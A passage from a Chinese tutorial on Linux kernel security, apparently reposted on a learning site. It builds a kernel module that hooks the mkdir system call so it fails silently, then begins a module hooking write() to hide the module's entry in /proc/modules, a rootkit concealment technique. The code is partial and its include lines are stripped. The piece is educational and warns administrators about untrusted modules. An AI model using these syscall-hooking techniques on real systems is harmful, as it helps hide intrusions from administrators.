转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 数据库 >> SyBase >> 正文
Linux 内核安全         ★★★★

Linux 内核安全

作者:闵涛 文章来源:闵涛的学习笔记 点击数:2108 更新时间:2009/4/22 23:07:36
r own system

KERNELDIR=/usr/src/linux-2.4

?

CFLAGS=-D__KERNEL__ -DMODULE -I$(KERNELDIR)/include \

-O -Wall

?

include $(KERNELDIR)/configs/kernel-2.4.18-i686.config

?

ifdef CONFIG_SMP

?? CFLAGS+=-D__SMP__ -DSMP

endif

?

all: hack_mkdir.o

?

clean:

?? rm -f *.o *~ core

不要忘记rm前有个Tab键。好了,在终端下敲入make,你会发现当前文件夹下多了个文件hack_mkdir.o,这就是编译好的模块。

#/sbin/insmod hack_mkdir.o

warnning:it will taint the kernel.

#mkdir test

#ls

hack_mkdir.c ?hack_mkdir.o? Makefile

你会发现test文件夹根本就没有建立,而可怕的是系统根本就没有任何出错信息!原因很简单,因为实际的mkdir( )已经被替换成了hacked_mkdir( ),而且的它返回值是0,系统误以为它正确地建立了文件夹。

#/sbin/rmmod hack_mkdir

#mkdir test

#ls

hack_mkdir.c? hack_mkdir.o? Makefile? test

移除模块后,原有的mkdir( )系统调用得以复位,因而系统正确地建立了文件夹test。

由此我们可以看到Kernel Hacking的威力!如果一个系统的内核被入侵,其后果是相当严重的。“正如运输界有泰坦尼克等事故一样,计算机安全专家往往也容易忽略某些细节(Andrew S. Tanenbaum)。”而LKM由于其极强的隐蔽性和强大的功能,备受Linux Kernel Hackers的喜爱。所以,系统管理员绝对不能轻易地将网络上下载的模块插入到内核,因为这样做无疑等于给了入侵者root权限。在系统安全性极其重要的情况下,我们应该只相信源代码,自己手工将经过检查的源代码编译为模块。

事实上,上面的模块除了用于演示之外,基本没有任何实际用途,因为几乎任何系统管理员都可以发现这个mkdir( )异常,并且找出错误的根源。只要他/她输入/sbin/lsmod命令,就会得到如下输出:

hack_mkdir??? 8192??? 0(unused)

因而系统管理员就会知道是hack_mkdir模块搞的鬼,因而他/她可以跟踪其来源,并排除系统漏洞。

下面,我们将隐藏文件中的特定内容,比如/proc/modules中的“hack_mkdir”。首先,我们应该知道/sbin/lsmod其实就是输出了/proc/modules中的内容,此外,输出文件中的内容需要write( )系统调用,如果您不知道某个command进行了哪些系统调用,没关系,我们可以用strace系统程式来跟踪command运行时进行的系统调用。

比如,向终端写字符串“this is a test”。

?

#strace echo “this is a test”

… …

write (1, "this is a test\n", 15)?????? ?= 15

munmap (0x40056000, 4096)??????????????? ??= 0

_exit (0)?????????????????????????????? ??????= ?

?

由此可以看出向终端写字符串“this is a test”调用了write( ),其中1代表stdout,返回值15是字符串的长度。

/*

*hack_write.c???????????????? David???? 2003-4-19

*The modules shows how to hack system call write ( ) in order *that we can hide the special message in the file.

*/

?

#include

#include

#include

#include ??? /*for kmalloc() & kfree() */

#include /*for strncpy_from_user() */

#include

#include

?

extern void* sys_call_table[];

extern void kfree(const void *);

extern

上一页  [1] [2] [3] [4]  下一页


[C语言系列]C# 和 Linux 时间戳转换  [Web开发]PHP flock文件锁介绍
[Web开发]flock() Linux下的文件锁  [电脑应用]Linux下的六个免费的虚拟主机管理系统介绍
[电脑应用]Linux数据库大比拚  [操作系统]在Windows中玩转Linux操作系统
[办公软件]在RedHat Linux 9里安装gaim0.80  [办公软件]掌握 Linux 调试技术
[办公软件]理解 Linux 配置文件  [聊天工具]Real10 & Xpdf installation on Linux Box
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · Sql Server  · MySql
    · Access  · ORACLE
    · SyBase  · 其他
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台